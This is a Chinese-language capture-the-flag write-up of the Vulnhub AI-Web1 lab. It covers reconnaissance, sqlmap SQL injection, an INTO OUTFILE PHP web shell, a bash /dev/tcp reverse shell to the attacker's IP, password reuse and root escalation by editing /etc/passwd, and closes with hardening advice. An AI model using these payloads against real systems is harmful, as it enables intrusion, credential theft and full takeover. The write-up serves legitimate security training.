AI-Web1 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 AI-Web1 靶机,是一台仅开放 80 端口的 PHP + MySQL 自研应用。完整攻击链为:信息收集 → 从 robots.txt 定位隐藏目录 → 用户查询功能 SQL 注入脱库 → phpinfo 获取网站绝对路径 → UNION INTO OUTFILE 写 WebShell 反弹 Shell → 数据库密码复用切换 aiweb1pwn 用户 → 利用 /etc/passwd 属主为 www-data 的错误配置改写 UID 直接提权 root。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.170。
二、信息收集
(一)存活主机扫描
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
192.168.153.170 00:0c:29:d0:7e:32 VMware, Inc.
(二)端口扫描
全端口扫描仅开放 80 端口,Apache 服务,首页标题为 AI Web 1.0;nmap 脚本直接从 robots.txt 中识别出两个隐藏路径:/m3diNf0/ 与 /se3reTdir777/uploads/。
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.170
PORT STATE SERVICE
80/tcp open http
┌──(root㉿kali)-[~]
└─# nmap -p80 -sV -sC -O -T4 192.168.153.170
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
| http-robots.txt: 2 disallowed entries
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
|_http-title: AI Web 1.0
(三)目录扫描
分别使用 Metasploit dir_scanner、dirb 与 gobuster 对目标做目录爆破,确认除首页 index.html 与 robots.txt 外,其余路径基本为隐藏目录。
# Metasploit dir_scanner
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(scanner/http/dir_scanner) > set rhosts 192.168.153.170
msf auxiliary(scanner/http/dir_scanner) > run
[+] Found http://192.168.153.170:80/icons/ 403
# dirb
┌──(root㉿kali)-[~]
└─# dirb http://192.168.153.170
+ http://192.168.153.170/index.html (CODE:200|SIZE:141)
+ http://192.168.153.170/robots.txt (CODE:200|SIZE:82)
# gobuster
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.153.170 -x php,html,md,zip,txt
/index.html (Status: 200) [Size: 141]
/robots.txt (Status: 200) [Size: 82]
首页提示连谷歌都搜索不到本站内容,进一步说明必须通过完备的目录扫描才能发现隐藏路径。直接访问 /se3reTdir777/uploads/ 被拒绝,但去掉 /uploads 后缀后进入 /se3reTdir777/,发现一个按 User ID 查询用户信息的功能页面。
三、用户查询功能 SQL 注入脱库
(一)定位注入点
在 User ID 输入框输入 1 可以正常返回 admin 用户信息,输入 1 后追加单引号 1 提交,页面直接回显 MySQL 语法错误,确认此处为字符型 SQL 注入点。

(二)sqlmap 一键脱库
该接口以 POST 方式提交 uid 与 Operation=Submit 参数,直接使用 sqlmap 跑全流程,枚举数据库、表、列并 dump systemUser 表,密码字段均为 Base64 编码。
┌──(root㉿kali)-[~]
└─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --data="uid=1&Operation=Submit" --batch --dbs
┌──(root㉿kali)-[~]
└─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --data="uid=1&Operation=Submit" --batch -D aiweb1 --tables
┌──(root㉿kali)-[~]
└─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --data="uid=1&Operation=Submit" --batch -D aiweb1 -T systemUser -C userName,password --dump
Database: aiweb1
Table: systemUser
[3 entries]
+-----------+----------------------------------------------+
| userName | password |
+-----------+----------------------------------------------+
| t00r | RmFrZVVzZXJQYXNzdzByZA== |
| aiweb1pwn | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== |
| u3er | TjB0VGhpczBuZUFsczA= |
+-----------+----------------------------------------------+
将三条 Base64 密码逐一解码:
t00r : RmFrZVVzZXJQYXNzdzByZA==-> FakeUserPassw0rd
aiweb1pwn : TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==-> MyEvilPass_f908sdaf9_sadfasf0sa
u3er : TjB0VGhpczBuZUFsczA=-> N0tThis0neAls0
四、phpinfo 辅助写 WebShell
(一)phpinfo 获取网站绝对路径
访问 robots.txt 暴露的另一隐藏目录 /m3diNf0/,发现 info.php 为 phpinfo 页面,从中读到 DOCUMENT_ROOT 为 /home/www/html/web1x443290o2sdf92213。MySQL 通过 INTO OUTFILE 写文件必须知道网站根目录的绝对路径,phpinfo 正好补齐这一关键信息。

(二)UNION INTO OUTFILE 写入 Shell
当前 MySQL 账号 secure_file_priv 配置为空值且 uploads 目录可写,直接使用 UNION 查询把一句话木马写入到 uploads 目录下:
1' union select null,null,'<?php system($_GET[0]);?>' into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php'-- -
本地 nc 监听 4444,通过 shell.php 的 0 参数传入反弹命令:
http://192.168.153.170/se3reTdir777/uploads/shell.php?0=/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/192.168.153.162/4444%200%3E%261%22
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.153.162] from (UNKNOWN) [192.168.153.170] 34452
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
也可以直接通过 shell.php 执行系统命令,例如 cat /etc/passwd:

五、密码复用与改写 /etc/passwd 提权
(一)www-data → aiweb1pwn:密码复用
查看 /etc/passwd 发现系统中存在 aiweb1 与 aiweb1pwn 两个本地用户,其中 aiweb1pwn 与数据库 systemUser 表中的用户名一致,尝试用解码后的密码 MyEvilPass_f908sdaf9_sadfasf0sa 直接 su 切换成功。
www-data@aiweb1:$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
aiweb1:x:1000:1000:AIWEB1:/home/aiweb1:/bin/bash
aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh
www-data@aiweb1:$ su - aiweb1pwn
Password: MyEvilPass_f908sdaf9_sadfasf0sa
$ id
uid=1001(aiweb1pwn) gid=1001(aiweb1pwn) groups=1001(aiweb1pwn)
(二)aiweb1pwn → root:改写 /etc/passwd
进一步检查发现该靶机的 /etc/passwd 属主与属组竟然都是 www-data(-rw-r--r-- 1 www-data www-data),属于严重的权限错误配置。直接复制该文件、把 aiweb1pwn 一行的 UID/GID 从 1001:1001 改为 0:0,再写回原路径。
www-data@aiweb1:$ ls -l /etc/passwd
-rw-r--r-- 1 www-data www-data 1664 Oct 14 05:25 /etc/passwd
# 将 aiweb1pwn 行改写为:
aiweb1pwn:x:0:0::/home/aiweb1pwn:/bin/sh
再次 su aiweb1pwn 时,由于其 UID 已经是 0,直接获得 root 权限:
www-data@aiweb1:$ su aiweb1pwn
Password: MyEvilPass_f908sdaf9_sadfasf0sa
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/flag.txt
AI: WEB 1.0
Congratulation!!!
Thank you for penetrate my system.
Hope you enjoyed this.
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
六、总结
AI-Web1 靶机的完整攻击链如下:
-
仅开放 80 端口,nmap 脚本直接从 robots.txt 识别出 /m3diNf0/ 与 /se3reTdir777/ 两个隐藏目录;
-
/se3reTdir777/ 用户查询功能存在字符型 SQL 注入,sqlmap 脱库得到三个 Base64 编码的账号密码;
-
/m3diNf0/info.php 泄露网站绝对路径 /home/www/html/web1x443290o2sdf92213,配合 MySQL secure_file_priv 为空,使用 UNION INTO OUTFILE 写入一句话木马并反弹 Shell;
-
数据库中的 aiweb1pwn 凭据在系统中复用,su 切换成功;
-
该靶机 /etc/passwd 属主错误配置为 www-data,直接把 aiweb1pwn 的 UID/GID 改为 0:0 后再次 su,直接获得 root。
对应的安全建议:① 隐藏路径不应依赖 robots.txt 作为安全机制,敏感目录必须通过访问控制保护;② 所有数据库查询应使用预编译语句,杜绝字符串拼接;③ phpinfo 页面绝不应部署在生产环境,更不能暴露网站绝对路径;④ MySQL 应设置 secure_file_priv 限制文件写入权限,并以最小权限账号运行;⑤ 系统关键文件 /etc/passwd、/etc/shadow 等必须保持 root:root 与严格权限位,绝不能被 Web 用户写入;⑥ 数据库密码与系统账号密码应分离,避免一处泄露全线沦陷。